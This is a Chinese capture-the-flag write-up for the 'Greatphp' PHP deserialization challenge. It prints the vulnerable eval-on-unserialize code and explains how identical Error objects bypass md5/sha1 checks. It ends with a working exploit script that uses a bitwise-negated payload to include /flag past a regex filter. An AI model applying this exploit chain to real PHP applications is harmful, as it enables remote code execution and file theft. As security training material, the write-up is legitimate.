[极客大挑战 2020]Greatphp php原声类Error _toString()输出的字符相同&<?= ?>可以完全代替<?php ?>
知识点:
<?= ?>可以代替<?php ?>,不仅仅有输出的功能,可以完全代替<?php ?>
进去一个代码审计:
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
很明显,这是一个简单的反序列化,但重点在于绕过md5()和sha1()函数
这边可以用原生类Error或者Exception,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
测试代码:
<?php $str='wuhuqifei'; $a=new Error($str,1); $b=new Error($str,1); echo $a; echo $b; ?>
运行结果:
Error: wuhuqifei in /box/script.php:5 Stack trace: #0 {main}
Error: wuhuqifei in /box/script.php:6 Stack trace: #0 {main}
poc:
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; } $str = "?><?=include~".urldecode("%d0%99%93%9e%98")."?>"."<?"; // ?> <?=include /flag ?><? $a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo urlencode(serialize($c)); ?>

浙公网安备 33010602011771号